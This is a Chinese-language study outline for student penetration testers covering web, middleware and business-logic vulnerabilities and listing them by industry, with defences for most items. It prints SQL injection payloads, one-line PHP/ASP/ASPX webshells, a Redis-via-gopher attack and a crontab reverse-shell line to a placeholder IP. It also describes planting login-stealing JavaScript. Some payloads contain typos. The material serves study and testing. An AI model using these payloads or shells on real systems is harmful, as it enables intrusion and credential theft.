渗透测试常见点大全分析

2019-12-03 18:00:10 浏览数 (1)

此文主要是分析一下常见的web、系统、逻辑漏洞、各行业漏洞常见存在点,马上实习高峰期也要到来,各位有意向做渗透测试的同学请耐心观看,点点再看并转发,谢谢(有所不足欢迎提意见,毕竟我可能是想水一篇)

web漏洞

sql注入

SQL注入的产生条件

有参数传递

参数值带入数据库查询并且执行

类型

基于布尔的盲注

不返回数据库数据,结果false和true

基于时间的盲注

利用sleep()或benchmark()等函数让mysql执行时间变长

if(表达式,true,false)

if(length(database()>1,sleep(5),1))

基于报错注入

报错

多单引号

id=1'

extractvalue()

对XML文档进行查询的函数

语法:extractvalue(目标xml文档,xml路径)

concat()拼接

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘/’,(select database()))))

样例

报错

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))

error:~security

floor()

updatexml()

updatexml()函数与extractvalue()类似,是更新xml文档的函数。

语法updatexml(目标xml文档,xml路径,更新的内容)

样例

正常

select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))

报错

select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))

error:~security

geometrycollection()

multipoint()

polygon()

multipolygon()

linestring()

multilinestring()

exp()

原理

当传递一个大于709的值时,函数exp()就会引起一个溢出错误

样例

报错

elect exp(710);

ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

0按位取反就会返回“18446744073709551615”

~(select version())

18446744073709551610

报错

elect exp(~(select*from(select user())x));

ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

联合查询注入

union注入

id=-1 union select 1,2,3

堆查询注入

分号隔开

引号闭合

#----#

其他

宽字节注入

数据库编码为

GBK

绕过单引号被转义

实现

id=1�'

id=1�

繁体“運”

/----

二次注入

1、向数据库插入查询语句,不被执行

2、数据库调用,报错,返回错误信息

cookie注入

base64注入

类型

数字型

输入的参数为整形

字符型

输入的参数为字符串

数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合

防御

1、使用预编译语句

构造的sql语句时使用参数化形式

参数化处理sql 是将参数进行了字符串化处理,把参数中的单引号,井号#,等都做了转义处理,进而在执行sql语句时不会被当做sql中的定界符和指定符来执行。

不使用拼接方式

2、过滤危险字符

关键字

不正常的符号

模块注入

xss

跨站脚本(XSS)攻击

类型

反射型

<非持久化>

攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容)

场景

搜索页面

存储型

<持久化>

代码是存储在服务器中的,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie

场景

在个人信息或发表文章等地方

DOM型

不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞

防御

1.对前端输入做过滤和编码

比如只允许输入指定类型的字符,比如电话号格式,注册用户名限制等,输入检查需要在服务器端完成,在前端完成的限制是容易绕过的

对特殊字符进行过滤和转义

<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)

2.对输出做过滤和编码:在变量值输出到前端的 HTML 时进行编码和转义

3.给关键 cookie 使用 http-only

控制

(1)后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。

(2)在登录后才可以访问的文件中插入XSS脚本

XSS蠕虫

存储型的 xss,并且需要访问量大的页面或者关注按钮

场景

如微博,论坛

csrf

CSRF(Cross-site request forgery)跨站请求伪造

客户端发起

攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作

由于没有在关键操作执行时进行是否由用户自愿发起的确认

攻击过程

1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;

2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;

3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;

4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;

5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

防御

检验 Referer

二次验证,再次输入密码

筛选出需要防范 CSRF 的页面然后嵌入 Token

ssrf

SSRF(Server-Side Request Forgery:服务器端请求伪造)

服务器发起

由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统

1.内外网的端口和服务扫描

2.主机本地敏感数据的读取

3.内外网主机应用程序漏洞的利用

4.内外网Web站点漏洞的利用

...

出现场景

1.社交分享功能:获取超链接的标题等内容进行显示

2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3.在线翻译:给网址翻译对应网页的内容

4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

防御

1.禁止跳转

2.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

3.禁用不需要的协议,仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题

4.设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)

5.限制请求的端口为http常用的端口,比如 80、443、8080、8090

6.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

xxe

XML External Entity Injection,xml外部实体注入漏洞

当允许引用外部实体时,通过构造恶意内容可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

防御

1、使用开发语言提供的禁用外部实体的方法

2、过滤用户提交的XML数据

1.检查所使用的底层xml解析库,默认禁止外部实体的解析

2.使用第三方应用代码及时升级补丁

文件上传

文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

技巧

1、修改后缀,然后burp抓包截断后缀

2、解析漏洞

apache

从右往左判断后缀

IIS

7.5

任意文件名后加.php

nginx

<0.8.32

1.jpg/1.php

>0.8.41<1.5.6

1.jpg .php 解析

3、sql注入写文件

(1)select '一句话' into outfile '路径'

(2)select '一句话' into dumpfile '路径'

一句话

Asp一句话:<%eval request(“xxx”)%>

Php 一句话:<%php @eval($_POST[xxx]);?>

Aspx一句话:<%@ Page Languag=”xxx”%><%eval(Request.Item[“xxx”])%>

图片一句话

防御

1.文件上传的目录设置为不可执行

2.判断文件类型

3.使用随机数改写文件名和文件路径

4.单独设置文件服务器的域名

5.限制上传文件大小

6.确保上传文件被访问正确返回

文件包含

php

地文件包含

nclude()

include_once()

require()

require_once()

绕过

截断

条件:magic_quotes_gpc = Off php版本<5.3.4

路径长度截断

条件:windows OS,点号需要长于256;linux OS 长于4096

点号截断

条件:windows OS,点号需要长于256

远程文件包含

RFI(Remote File Inclusion)

是指能够包含远程服务器上的文件并执行

allow_url_fopen = On

allow_url_include = On

绕过

问号绕过

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?

#号绕过

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt#

php伪协议

php://input

php://filter

...

jsp

asp

序列化与反序列化

序列化

Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。

反序列化

Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。

漏洞

15年的Apache Commons Collections 反序列化远程命令执行漏洞

系统漏洞

中间件漏洞

IIS解析漏洞

6.0

当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件都将被IIS当做asp文件来解析。

当文件为*.asp;1.jpg时,IIS6.0同样会以ASP脚本来执行

7.0/7.5

认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析

Apache解析漏洞

Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断

15年的Apache Commons Collections 反序列化远程命令执行漏洞

Apache Commons Collections 3和4,Groovy,Spring,只要目标应用的Class Path中包含这些库,可让readObject()实现任意命令执行

nginx

版本小于等于0.8.37,利用方法和IIS7.0/7.5一样,Fast-CGI关闭情况下也可利用。

redis

ssrf

Redis配合gopher协议进行SSRF

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了

gopher协议

构造gopher协议的url

Gopher 可以模仿 POST 请求,故探测内网的时候不仅可以利用 GET 形式的 PoC(经典的 Struts2),还可以使用 POST 形式的 PoC。

攻击方式

绝对路径写webshell

构造payload

构造redis命令

写ssh公钥

如果.ssh目录存在,则直接写入~/.ssh/authorized_keys

如果不存在,则可以利用crontab创建该目录

构造payload

构造redi

写contrab计划任务反弹shell

cron="nnnn*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1nnnn"%(reverse_ip,reverse_port)

weblogic

weblogic底层也使用Apache Commons Collections库,WebLogic 存在Java反序列化漏洞无疑的

针对weblogic 1036以下版本解决建议

(1)下载Apache官方最新的commons-collections包,替换有漏洞的commons-collections组件

(2)调整应用程序,使用SerialKiller类包替换进行反序列化操作的ObjectInputStream类。

针对10.3.6 及以上版本建议

Oracle每个季度都会更新补丁集合,这个补丁集合不仅包含软件的安全漏洞修复而且包含软件的功能漏洞修复。所以不管怎样,即使没有完全解决反序列化漏洞,打补丁还是很有必要的。至于修复了哪些漏洞建议查bugsfixed 列表

推荐Configure Weblogic Connection Filters

思路:需要禁用t3协议,但是不能禁死,对于受管节点或有需求的特定节点,需要放开限制。

业务逻辑漏洞

业务逻辑漏洞会话类

会话固定

会话仿冒

账号锁定失效

1、密码类

任意用户密码修改/重置

修改密码/重任意用户密码找回

重置流程跨越

2、授权类

水平越权

垂直越权

未授权访问

图形验证码绕过

3、交易类

金额数据篡改

负值反冲

4、接口调用类

重放攻击

短信轰炸

邮件轰炸

恶意锁定

5、其他

顺序执行缺陷

时间刷新缺陷

投票刷票

路径可控制

各行业常见漏洞

互联网行业

通用业务模块

业务逻辑漏洞

登陆

暴力破解用户名密码

撞库

验证码爆破和绕过

手机号撞库

账户权限绕过

注册

恶意用户批量注册

恶意验证注册账户

存储型XSS

密码找回

重置任意用户账户密码

批量重置用户密码

新密码劫持

短信验证码劫持

用户邮箱劫持篡改

后台管理

管理员用户名密码绕过

目录遍历

会员系统

用户越权访问

个人资料信息泄漏

个人资料遍历

传输过程

COOKIE注入

COOKIE跨站

COOKIE劫持

明文传输

评论

POST注入

CSRF

存储型XSS

遍历用户名

P2P金融行业

通用业务模块

业务逻辑漏洞

登陆

暴力破解用户名密码

撞库

验证码爆破和绕过

手机号撞库

账户权限绕过

注册

恶意用户批量注册

恶意验证注册账户

存储型XSS

密码找回

重置任意用户账户密码

批量重置用户密码

新密码劫持

短信验证码劫持

用户邮箱劫持篡改

购买支付

商品金额篡改

商品数量篡改

交易信息泄漏

充值

虚假充值金额

充值数量篡改

篡改充值账户

抽奖/活动

刷取活动奖品

盗刷积分

抽奖作弊

代金卷/优惠卷

批量刷取代金卷/优惠卷

更改代金卷金额

更改优惠卷数量

订单

订单信息泄漏

用户信息泄漏

订单遍历

账户

账户绕过

账户余额盗取

账户绑定手机号绕过

会员系统

用户越权访问

个人资料信息泄漏

个人资料遍历

传输过程

COOKIE注入

COOKIE跨站

COOKIE劫持

明文传输

评论

POST注入

CSRF

存储型XSS

遍历用户名

电商行业

通用业务模块

业务逻辑漏洞

登陆

暴力破解用户名密码

撞库

验证码爆破和绕过

手机号撞库

账户权限绕过

注册

恶意用户批量注册

恶意验证注册账户

存储型XSS

密码找回

重置任意用户账户密码

批量重置用户密码

新密码劫持

短信验证码劫持

用户邮箱劫持篡改

购买支付

商品金额篡改

商品数量篡改

交易信息泄漏

抽奖/活动

刷取活动奖品

盗刷积分

抽奖作弊

代金卷/优惠卷

批量刷取代金卷/优惠卷

更改代金卷金额

更改优惠卷数量

订单

订单信息泄漏

用户信息泄漏

订单遍历

账户

账户绕过

账户余额盗取

账户绑定手机号绕过

抢购活动

低价抢购

抢购作弊

刷单

运费

运费绕过

会员系统

用户越权访问

个人资料信息泄漏

个人资料遍历

传输过程

COOKIE注入

COOKIE跨站

COOKIE劫持

明文传输

评论

POST注入

CSRF

存储型XSS

遍历用户名

第三方商家

盗号

商家账户遍历

越权访问其他商家用户

政务行业

通用业务模块

业务逻辑漏洞

登陆

暴力破解用户名密码

撞库

验证码爆破和绕过

手机号撞库

账户权限绕过

注册

恶意用户批量注册

恶意验证注册账户

存储型XSS

密码找回

重置任意用户账户密码

批量重置用户密码

新密码劫持

短信验证码劫持

用户邮箱劫持篡改

后台管理

管理员用户名密码绕过

目录遍历

业务查询

恶意查询

办理人信息泄漏

业务办理

顶替办理

绕过业务流程办理

篡改其他办理人信息

办理人信息泄漏

传输过程

COOKIE注入

COOKIE跨站

COOKIE劫持

明文传输

评论

POST注入

CSRF

存储型XSS

遍历用户名

电商行业安全服务测试范围

常规漏洞名

常规漏洞分类

注入漏洞

HTML注入-反射性(GET)(POST)(Current URL)

HTML注入-存储型

iFrame注入

LDAP注入(Search)

邮件Header注入

PHP代码注入

SQL注入(POST/搜索型)(POST/Select)

SQL注入(AJAX/JSON/jQuery)

SQL注入(Login form/Hero)(Login form/User)

SQL注入(SQLite)(Drupal)

SQL注入-存储型(Blog)(SQLite)(User-Agent)

SQL注入-盲注(Boolean-Based)(Time-Based)(SQLite)

XML/XPath注入(Login Form)(Search)

跨站XSS漏洞

跨站(XSS)-反射型(GET)

跨站(XSS)-反射型(POST)

跨站(XSS)-反射型(JSON)

跨站(XSS)-反射型(AJAX/JSON)

跨站(XSS)-反射型(AJAX/XML)

跨站(XSS)-反射型(Back Button)

跨站(XSS)-反射型(Login Form)

跨站(XSS)-反射型(PHP_SELF)

跨站(XSS)-反射型(User-Agent)

跨站(XSS)-反射型(Referer)

跨站(XSS)-存储型(Blog)

跨站(XSS)-存储型(Change Secret)

跨站(XSS)-存储型(Cookies)

跨站(XSS)-存储型(SQLiteManager)

跨站(XSS)-存储型(User-Agent)

安全配置错误

Arbitrary File Access (Samba)

Cross-Domain Policy File (Flash) Cross-Origin Resource Sharing(AJAX)Cross-Site Tracing (XST)拒绝服务攻击 (Large Chunk Size) 拒绝服务攻击 (Slow HTTP DoS) 拒绝服务攻击 (SSL-Exhaustion)拒绝服务攻击 (XML Bomb) 错误的安全配置:FTP错误的安全配置:SNMP错误的安全配置:WebDAV 本地权限提升 (sendpage)本地权限提升 (udev)中间人攻击 (HTTP)中间人攻击 (SMTP)各种文件泄露Robots 文件

登录认证缺陷

登录认证缺陷- 验证码绕过

登录认证缺陷- 找回密码功能

登录认证缺陷- 登录框漏洞

登录认证缺陷- 登出管理

登录认证缺陷- 密码爆破

登录认证缺陷- 弱口令

会话管理 - 管理后台

会话管理 - Cookies (HTTPOnly)

会话管理 - Cookies (Secure)

会话管理 - URL中泄露Session ID

会话管理 - 强会话

Insecure Direct Object References

不安全的直接对象引用 (修改密码)

不安全的直接对象引用 (密码重置)

不安全的直接对象引用 (订票的例子)

敏感信息泄露

Base64编码

BEAST/CRIME/BREACH Attacks

HTTP明文传输用户名和密码

心脏滴血漏洞

Host Header 攻击(Reset 投毒)

HTML5 Web Storage (Secret)

POODLE Vulnerability

SSL 2.0 Deprecated Protocol

文本文件(账号)

权限控制不严格

目录遍历 - Directories

目录遍历 - Files

Host Header 攻击 (缓存投毒)

Host Header 攻击(Reset 投毒)

本地文件包含 (SQLiteManager)

Remote & 本地文件包含 (RFI/LFI)

限制访问终端设备

限制文件夹访问

Server Side Request Forgery (SSRF)

XML 外部实体攻击 (XXE)

跨站请求伪造 (CSRF)

Cross-Site Request Forgery (修改密码)

Cross-Site Request Forgery (Change Secret)

Cross-Site Request Forgery (Transfer Amount)

使用了存在漏洞的组件

缓冲区溢出(本地)

缓冲区溢出(远程)

Drupal SQL 注入 (Drupageddon)

心脏滴血漏洞

PHP CGI 远程代码执行

PHP Eval 函数

phpMyAdmin BBCode 标签 XSS

破壳漏洞 (CGI)

SQLiteManager 本地文件包含

SQLiteManager PHP 代码注入

SQLiteManager XSS

其他类型漏洞

点击劫持 (Movie Tickets)

客户端验证 (密码)

HTTP参数污染

HTTP Response Splitting

HTTP Verb Tampering

信息泄露 - Favicon

信息泄露 - Headers

信息泄露 - PHP version

信息泄露 - Robots 文件

不安全的iframe (登录框)

上传漏洞

其他漏洞

A.I.M. - No-authentication Mode

Client Access Policy File

Cross-Domain Policy File

Evil 666 Fuzzing Page

Manual Intervention Required!

未被保护的管理后台

We Steal Secrets... (html)

We Steal Secrets... (plain)

WSDL File (Web Services/SOAP)

以上行业漏洞内容有个别借鉴,但是找不到出处,请作者见谅如有侵权可联系我。

- To Be Continued -

0 人点赞